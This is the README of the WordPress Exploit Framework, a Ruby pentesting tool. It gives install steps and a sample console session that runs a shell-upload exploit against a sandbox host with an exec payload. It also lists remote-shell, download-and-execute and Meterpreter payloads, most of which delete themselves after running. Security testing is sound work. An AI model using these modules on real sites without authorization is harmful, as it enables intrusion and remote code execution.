A Ruby framework designed to aid in the penetration testing of WordPress systems.
To install the latest stable build, run gem install wpxf.
After installation, you can launch the WordPress Exploit Framework console by running wpxf.
Ruby >= 2.4.4 is required to run WordPress Exploit Framework.
If you have issues installing WPXF's dependencies (in particular, Nokogiri), first make sure you have all the tooling necessary to compile C extensions:
sudo apt-get install build-essential patch
It’s possible that you don’t have important development header files installed on your system. Here’s what you should do if you should find yourself in this situation:
sudo apt-get install ruby-dev zlib1g-dev liblzma-dev libsqlite3-dev
If you are experiencing errors that indicate that libcurl.dll could not be loaded, you will need to ensure the latest libcurl binary is included in your Ruby bin folder, or any other folder that is in your environment's PATH variable.
The latest version can be downloaded from http://curl.haxx.se/download.html. As of 16/05/2016, the latest release is marked as Win32 2000/XP zip 7.40.0 libcurl SSL. After downloading the archive, extract the contents of the bin directory into your Ruby bin directory (if prompted, don't overwrite any existing DLLs).
Start the WordPress Exploit Framework console by running wpxf.
Once loaded, you'll be presented with the wpxf prompt, from here you can search for modules using the search command or load a module using the use command.
Loading a module into your environment will allow you to set options with the set command and view information about the module using info.
Below is an example of how one would load the symposium_shell_upload exploit module, set the module and payload options and run the exploit against the target.
wpxf > use exploit/shell/symposium_shell_upload
[+] Loaded module: #<Wpxf::Exploit::SymposiumShellUpload:0x3916f20>
wpxf [exploit/shell/symposium_shell_upload] > set host wp-sandbox
[+] Set host => wp-sandbox
wpxf [exploit/shell/symposium_shell_upload] > set target_uri /wordpress/
[+] Set target_uri => /wordpress/
wpxf [exploit/shell/symposium_shell_upload] > set payload exec
[+] Loaded payload: #<Wpxf::Payloads::Exec:0x434d078>
wpxf [exploit/shell/symposium_shell_upload] > set cmd echo "Hello, world!"
[+] Set cmd => echo "Hello, world!"
wpxf [exploit/shell/symposium_shell_upload] > run
[-] Preparing payload...
[-] Uploading the payload...
[-] Executing the payload...
[+] Result: Hello, world!
[+] Execution finished successfully
For a full list of supported commands, take a look at This Wiki Page.
Auxiliary modules do not allow you to run payloads on the target machine, but instead allow you to extract information from the target, escalate privileges or provide denial of service functionality.
Exploit modules require you to specify a payload which subsequently gets executed on the target machine, allowing you to run arbitrary code to extract information from the machine, establish a remote shell or anything else that you want to do within the context of the web server.
- bind_php: uploads a script that will bind to a specific port and allow WPXF to establish a remote shell.
- custom: uploads and executes a custom PHP script.
- download_exec: downloads and runs a remote executable file.
- meterpreter_bind_tcp: a Meterpreter bind TCP payload generated using msfvenom.
- meterpreter_reverse_tcp: a Meterpreter reverse TCP payload generated using msfvenom.
- exec: runs a shell command on the remote server and returns the output to the WPXF session.
- reverse_tcp: uploads a script that will establish a reverse TCP shell.
All these payloads, with the exception of custom and the Meterpreter payloads, will delete themselves after they have been executed, to avoid leaving them lying around on the target machine after use or in the event that they are being used to establish a shell which fails.
Guides on writing modules and payloads can be found on The Wiki and full documentation of the API can be found at https://rastating.github.io/wordpress-exploit-framework
